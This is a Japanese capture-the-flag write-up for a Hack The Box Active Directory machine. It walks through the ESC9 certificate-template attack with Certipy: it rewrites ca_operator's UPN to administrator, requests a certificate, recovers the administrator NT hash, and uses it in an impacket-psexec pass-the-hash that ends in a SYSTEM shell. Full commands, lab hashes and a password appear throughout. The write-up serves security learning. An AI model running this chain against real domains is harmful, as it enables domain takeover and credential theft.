ESC9 (No Security Extension)は、CT_FLAG_NO_SECURITY_EXTENSION フラグが設定された脆弱な証明書テンプレートを悪用する攻撃です。このフラグは、証明書に szOID_NTDS_CA_SECURITY_EXT セキュリティ拡張機能が埋め込まれるのを防ぎます。ユーザー アカウントに対する GenericWrite 権限を持つユーザーは、userPrincipalName を変更して、管理者などのターゲットアカウントになりすまし、脆弱なテンプレートから証明書を要求することができます。発行された証明書は、ターゲットアカウントとして認証するために使用できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/fb45670e-baaf-45bd-a7c3-2705638a5a76.png)

今回の例では management_svc が ca_operator に対して GenericAll 権限をもっています。ca_operatorは脆弱なテンプレート CertifiedAuthentication の msPKI-Enrollment-Flag に CT_FLAG_NO_SECURITY_EXTENSION を登録することができます。

この攻撃には Certipy を使用します。

まずは ca_operator の userPrincipalName を administrator に変更します。

```bash
┌──(kali㉿kali)-[~]
└─$ certipy-ad account update -u management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_operator'
```

userPrincipalName を変更すると次は、ca_operator として脆弱な証明書を要求します。

```bash
┌──(kali㉿kali)-[~]
└─$ certipy-ad req -u ca_operator@certified.htb -p "Password123" -ca "certified-DC01-CA" -template CertifiedAuthentication
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

実行に成功すると administrator.pfx という名前の証明書が作成されます。 そして必ずca_operator の userPrincipalName を別のものに変更しておきます。

```bash
┌──(kali㉿kali)-[~]
└─$ certipy-ad account update -u management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'
```

取得した証明書で認証を行い、成功するとadministrator の NTLM ハッシュを取得することができます。

```bash
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx administrator.pfx -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
```

## Pass-The-Hash
取得したNTLMハッシュを使用して impacket-psexec で Pass-The-Hash攻撃 を行います。

```bash
┌──(kali㉿kali)-[~]
└─$ impacket-psexec -hashes :0d5b49608bbce1751f708748f67e2d34 Administrator@10.10.11.41
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.11.41.....
[*] Found writable share ADMIN$
[*] Uploading file yggSRFrO.exe
[*] Opening SVCManager on 10.10.11.41.....
[*] Creating service KeUm on 10.10.11.41.....
[*] Starting service KeUm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6414]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami 
nt authority\system
```

SYSTEM権限でのシェルを取得することができました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/3f1bdc0f-45a8-472c-9de6-bbcdae7ac6c9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/29dc0b7f-c964-4d9b-b16f-b9fd4f74cf11.png)